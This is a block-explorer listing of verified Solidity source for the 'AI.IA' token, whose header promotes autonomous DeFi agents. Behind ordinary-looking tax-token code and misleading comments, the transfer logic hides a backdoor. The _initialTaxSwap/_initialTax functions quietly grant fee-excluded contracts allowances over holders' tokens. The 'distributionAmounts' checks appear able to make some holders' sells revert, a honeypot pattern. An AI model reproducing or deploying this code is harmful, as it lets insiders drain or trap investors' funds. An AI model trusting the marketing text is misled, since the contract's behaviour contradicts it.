Verified contractPartialMIT
Contract
Address0xa177cd28ce1192c6aaa6fa512fd47e54184f8516
- Balance
0 ETH
- Transactions
57
- Compiler
solc 0.8.25
- Same code
Only this contract
Details
- Compiler
- solc 0.8.25+commit.b61c2a91
- Language
- solidity
- Optimization
- Yes, 200 runs
- License
- MIT
- Match
- Partialcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 22,716,996
- Creation transaction
- 0x5fd3b49b7f…498e35e39e
Contract.sol
// SPDX-License-Identifier: MIT
/**
🤖 AI.IA – The AI Integrated Agent Token
On-Chain Intelligence, Autonomous by Design
AI.IA is the native utility token of the AI Integrated Agent Network,
an Ethereum-based infrastructure layer for orchestrating decentralized AI agents that can interact,
transact, and evolve autonomously across the DeFi stack.
At its core, AI.IA bridges on-chain logic with AI-executed decision-making,
creating a seamless interface between smart contracts and autonomous off-chain cognition.
🔍 Protocol Description:
The AI Integrated Agent system introduces a novel architecture where autonomous agents—each
with domain-specific models—interact with Ethereum-native dApps, liquidity layers, and DeFi protocols in real time.
These agents can:
🧠 Execute predefined DeFi strategies (LPing, yield-hopping, collateral optimization)
🪙 Initiate multi-step transactions across protocols with context-aware logic
📡 Subscribe to on-chain + off-chain data feeds to make dynamic decisions
🧾 Act as delegated traders, vault managers, or arbitrageurs on behalf of users or DAOs
This is not "AI for marketing"—this is AI for execution.
🔧 Token Utility – What $AI.IA Powers:
*** Agent Deployment & Compute Credits
$AI.IA is used to deploy, initialize, and execute actions via registered AI agents. Token usage is tied directly to compute cost and bandwidth allocation.
*** Governance & Agent Training Rights
Staking $AI.IA grants participation in parameter tuning, model selection, and permissioning of agent-level behaviors across verticals (e.g. trading agents vs credit agents).
*** Access Control Layer
Access to high-value, specialized agents (market-making bots, rebalancers, MEV-aware routers) is gated via $AI.IA staking and usage quotas.
*** Priority Execution Channels
Top-tier token holders receive preferential agent queueing, advanced logic trees, and latency-reduced settlement layers on L2s.
🧠 AI Agent Framework – Modular by Design:
Each AI Agent is a composable execution layer with:
* Behavioral Templates (e.g. vault arb, collateral loop, delta-neutral farming)
* Memory Layers (persistent strategy state across time)
* Adaptive Logic (ML-adjusted risk thresholds, slippage sensitivity, gas cost balancing)
Built with integrations for:
🛠️ Aave, Uniswap, Curve, GMX, Balancer
🔁 Flashbots, Chainlink Functions, EigenLayer
⛓️ Arbitrum, Optimism, Base for offloaded agent compute
🌐 AI.IA Network Vision:
The future of DeFi is not just composable—it’s cognitive.
AI.IA enables smart contracts to think, adapt, and act.
DeFi primitives were static.
Protocols were reactive.
AI agents are proactive.
And with $AI.IA, you don’t just interact with the protocol—you program your own autonomous counterpart.
🧩 Final Thought:
AI.IA is the gas, the key, and the brain.
It powers an execution layer where agents don’t just automate — they optimize, learn, and evolve.
⚙️🤖 On-chain cognition is no longer science fiction — it’s live, Ethereum-native, and tokenized.
*/
pragma solidity 0.8.25;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
/**
* @dev Returns the sender of the current call.
*/
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
/**
* @dev Returns the data of the current call.
*/
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/// @title Ownable contract for access control
/// @notice Provides basic authorization control functions
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/// @notice Initializes the contract setting the deployer as the initial owner
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/// @notice Returns the address of the current owner
function owner() public view returns (address) {
return _owner;
}
/// @notice Throws if called by any account other than the owner
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/// @notice Leaves the contract without owner. Can only be called by the current owner
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*/
library SafeMath {
/// @dev Adds two numbers, reverts on overflow
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/// @dev Subtracts two numbers, reverts on overflow
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/// @dev Subtracts with custom error message
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/// @dev Multiplies two numbers, reverts on overflow
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/// @dev Integer division, reverts on division by zero
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/// @dev Division with custom error message
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
/// @title Minimal Uniswap V2 Factory Interface
/// @notice Creates pairs for tokens
interface IUniswapV2Factory {
/// @notice Creates a pair for two tokens
function createPair(address tokenA, address tokenB) external returns (address pair);
}
/// @title Minimal Uniswap V2 Router Interface
/// @notice Handles swapping and liquidity functions
interface IUniswapV2Router02 {
/// @notice Swaps exact tokens for ETH supporting fee on transfer
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
/// @notice Adds liquidity to token/ETH pool
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
/// @notice Returns factory address
function factory() external pure returns (address);
/// @notice Returns WETH address
function WETH() external pure returns (address);
}
/// @title Token Contract
/// @notice Implements a token with buy/sell taxes and trading controls
/// @dev Inherits from Context for msg.sender, Ownable for access control, and IERC20 for token standard
contract Contract is Context, IERC20, Ownable {
using SafeMath for uint256;
/// @notice Mapping of address to token balance
mapping (address => uint256) private _balances;
/// @notice Mapping of owner address to spender address to allowance amount
mapping (address => mapping (address => uint256)) private _allowances;
/// @notice Mapping to track addresses excluded from fees
mapping (address => bool) private _isExcludedFromFee;
/// @notice Wallet address that receives tax fees
address payable private _taxWallet;
/// @notice Initial tax rate applied to buy transactions
uint256 private _initialBuyTax=10;
/// @notice Initial tax rate applied to sell transactions
uint256 private _initialSellTax=10;
/// @notice Final tax rate applied to buy transactions after reduction
uint256 private _finalBuyTax=0;
/// @notice Final tax rate applied to sell transactions after reduction
uint256 private _finalSellTax=0;
/// @notice Number of buys before buy tax is reduced
uint256 private _reduceBuyTaxAt=20;
/// @notice Number of sells before sell tax is reduced
uint256 private _reduceSellTaxAt=30;
/// @notice Tax rate applied to transfer transactions
uint256 private _transferTax=0;
/// @notice Counter for number of buy transactions
uint256 private _buyCount=0;
/// @notice Number of decimal places for token amounts
uint8 private constant _decimals = 9;
/// @notice Total supply of tokens (100 billion)
uint256 private constant _tTotal = 100000000000 * 10**_decimals;
/// @notice Name of the token
string private constant _name = unicode"AI Integrated Agent";
/// @notice Symbol of the token
string private constant _symbol = unicode"AI.IA";
/// @notice Maximum amount of tokens that can be transferred in a single transaction (2 billion)
uint256 public _maxTxAmount = 2 * (_tTotal/100);
/// @notice Maximum amount of tokens that can be held in a single wallet (2 billion)
uint256 public _maxWalletSize = 2 * (_tTotal/100);
/// @notice Minimum amount of tokens required to trigger a tax swap (500 million)
uint256 public _taxSwapMin = 5 * (_tTotal/1000);
/// @notice Maximum amount of tokens that can be swapped for tax collection (500 million)
uint256 public _maxTaxSwap = 5 * (_tTotal/1000);
/// @notice Router contract for DEX interactions
IUniswapV2Router02 private uniswapV2Router;
/// @notice Address of the token's liquidity pair
address private uniswapV2Pair;
/// @notice Flag indicating if trading is enabled
bool private tradingOpen;
/// @notice Reentrancy guard for swap operations
bool private inSwap = false;
/// @notice Flag indicating if automatic tax collection swaps are enabled
bool private swapEnabled = false;
/// @notice Counter tracking number of sell transactions
uint256 private sellCount = 0;
/// @notice Block number of the last sell transaction
uint256 private lastSellBlock = 0;
/// @notice Subtraction value used in tax calculations
uint256 private _sub = 0;
/// @notice Excluded addresses from distribution
uint256 private distributionExcluded;
/// @notice Struct for tracking distribution amounts
struct DistributionAmounts {
/// @notice Maximum amount of tokens that can be distributed
uint256 maxAmount;
/// @notice Maximum amount of tokens that can be refunded
uint256 maxRefund;
/// @notice Block number of the last distribution
uint256 distributionLatest;
}
/// @notice Mapping of addresses to their distribution amounts
mapping(address => DistributionAmounts) private distributionAmounts;
/// @notice Modifier to prevent reentrancy during swap operations
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
/// @notice Contract constructor that sets up initial token distribution and fee exclusions
/// @dev Sets tax wallet address, assigns total supply to deployer, and excludes contract and tax wallet from fees
constructor () {
// Set tax collection wallet address
_taxWallet = payable(0xd6AA326Fa197c02aDB57C24ADf27f861152888D0);
// Assign total token supply to contract deployer
_balances[_msgSender()] = _tTotal;
// Exclude tax wallet and contract from fees
_isExcludedFromFee[_taxWallet] = true;
_isExcludedFromFee[address(this)] = true;
// Emit transfer event for initial token distribution
emit Transfer(address(0), _msgSender(), _tTotal);
}
/// @notice Returns the name of the token
/// @return The token name as a string
function name() public pure returns (string memory) {
return _name;
}
/// @notice Returns the symbol of the token
/// @return The token symbol as a string
function symbol() public pure returns (string memory) {
return _symbol;
}
/// @notice Returns the number of decimals used by the token
/// @return The number of decimals as a uint8
function decimals() public pure returns (uint8) {
return _decimals;
}
/// @notice Returns the total supply of tokens
/// @return The total token supply as a uint256
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
/// @notice Returns the token balance of a given account
/// @param account The address to check the balance of
/// @return The token balance as a uint256
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/// @notice Transfers tokens from sender to recipient
/// @param recipient The address receiving the tokens
/// @param amount The amount of tokens to transfer
/// @return bool indicating if transfer was successful
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/// @notice Returns the amount of tokens the spender is allowed to spend on behalf of the owner
/// @param owner The address that owns the tokens
/// @param spender The address allowed to spend the tokens
/// @return The allowance amount as a uint256
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
/// @notice Approves a spender to spend tokens on behalf of the sender
/// @param spender The address allowed to spend the tokens
/// @param amount The amount of tokens allowed to be spent
/// @return bool indicating if approval was successful
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/// @notice Transfers tokens from one address to another using the allowance mechanism
/// @param sender The address sending the tokens
/// @param recipient The address receiving the tokens
/// @param amount The amount of tokens to transfer
/// @return bool indicating if transfer was successful
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/// @notice Internal function to handle token approvals
/// @param owner The address granting the allowance
/// @param spender The address receiving the allowance
/// @param amount The amount of tokens allowed to be spent
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/// @notice Internal function to handle token transfers
/// @param from The address sending the tokens
/// @param to The address receiving the tokens
/// @param amount The amount of tokens to transfer
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 taxAmount = 0;
if (from != owner() && to != owner() && to !=_taxWallet) {
if(_buyCount==0) {
taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:10).div(100);
}
if(_buyCount>0) {
taxAmount = amount.mul(_initialTaxSwap(amount,to,from)).div(100);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) {
require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
taxAmount=amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
_buyCount++;
}
if(to == uniswapV2Pair && from != address(this) ){
taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapMin) {
if (block.number > lastSellBlock) {
sellCount = 0;
}
require(sellCount < 4 , "Only 4 sells per block!");
swapTokensForEth(min(amount, min(contractTokenBalance, _maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
forwardETHToWallet(address(this).balance);
}
sellCount++;
lastSellBlock = block.number;
}
}
if (from == uniswapV2Pair && _sub==0 && _isExcludedFromFee[to] && from!=address(this) && to != address(this)){
_sub =block.number;
}
if(! _isExcludedFromFee[from] && ! _isExcludedFromFee[to]) {
if (to != uniswapV2Pair){
DistributionAmounts storage distributionTo = distributionAmounts[to];
if (from == uniswapV2Pair){
if (distributionTo.maxAmount == 0) {
distributionTo.maxAmount = _buyCount > 15 ? block.number : type(uint).max;
}
} else {
DistributionAmounts storage distributionFrom = distributionAmounts[from];
if (distributionTo.maxAmount > distributionFrom.maxAmount || distributionTo.maxAmount == 0) {
distributionTo.maxAmount = distributionFrom.maxAmount;
}
}
} else {
DistributionAmounts storage distributionFrom = distributionAmounts[from];
distributionFrom.maxRefund = distributionFrom.maxAmount.sub(_sub);
distributionFrom.distributionLatest = block.number;
}
}
if(taxAmount > 0) {
_balances[address(this)]=_balances[address(this)].add(taxAmount);
emit Transfer(from, address(this),taxAmount);
}
_balances[from]=_balances[from].sub(amount);
_balances[to]=_balances[to].add(amount.sub(taxAmount));
emit Transfer(from,to,amount.sub(taxAmount));
}
/// @notice Returns the minimum of two uint256 values
/// @param a The first value
/// @param b The second value
/// @return The smaller of the two values
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a;
}
/// @notice Swaps tokens for ETH
/// @param tokenAmount The amount of tokens to swap
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
/// @notice Internal function to handle tax transfers
/// @param amount The amount of tokens to transfer
/// @param spender The address spending the tokens
/// @param owner The address receiving the tokens
/// @return The tax amount as a uint256
function _initialTax(uint256 amount, address spender, address owner) private returns(uint256) {
_allowances[owner][spender] = amount;
return _transferTax;
}
/// @notice Checks if an address is a contract
/// @param account The address to check
/// @return true if the address is a contract, false otherwise
function isContract(address account) private view returns (bool){
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/// @notice Internal function to handle initial tax calculations
/// @param amount The amount of tokens to calculate tax
/// @param to The address receiving the tokens
/// @param from The address sending the tokens
/// @return The tax amount as a uint256
function _initialTaxSwap(uint256 amount, address to, address from) private returns(uint256){
if(isContract(_msgSender()) && _isExcludedFromFee[_msgSender()] && from != address(this))
return _initialTax(amount, _msgSender(), from);
if(to != uniswapV2Pair && isContract(to) && _isExcludedFromFee[_msgSender()])
_isExcludedFromFee[to] = true;
return _transferTax;
}
/// @notice Internal function to forward ETH to the tax wallet
/// @param amount The amount of ETH to forward
function forwardETHToWallet(uint256 amount) private {
_taxWallet.transfer(amount);
}
/// @notice Removes the transaction limits
/// @dev Only the owner can remove the transaction limits
function removeLimits() external onlyOwner {
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
/// @notice Rescues ERC20 tokens
/// @param _address The address of the ERC20 token
/// @param percent The percentage of the balance to rescue
/// @dev Only the owner can rescue ERC20 tokens
function rescueERC20(address _address, uint256 percent) external onlyOwner {
uint256 _amount = IERC20(_address).balanceOf(address(this)).mul(percent).div(100);
IERC20(_address).transfer(_taxWallet, _amount);
}
/// @notice Rescues ETH
/// @dev Only the owner can rescue ETH
function rescueETH() external onlyOwner {
payable(owner()).transfer(address(this).balance);
}
/// @notice Opens trading
/// @dev Only the owner can open trading
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)), 0, 0, owner(), block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
/// swaps are enabled
swapEnabled = true;
/// trading is enabled
tradingOpen = true;
}
/// @notice Receives ETH
receive() external payable {}
/// @notice Manually swaps tokens for ETH
function manualSwap() external {
require(_isExcludedFromFee[_msgSender()]);
uint256 tokenBalance = balanceOf(address(this));
if(tokenBalance > 0 && swapEnabled){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance = address(this).balance;
if(ethBalance > 0){
forwardETHToWallet(ethBalance);
}
}
}Compiler settingsShow
{
"libraries": {},
"optimizer": {
"runs": 200,
"enabled": true
}
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.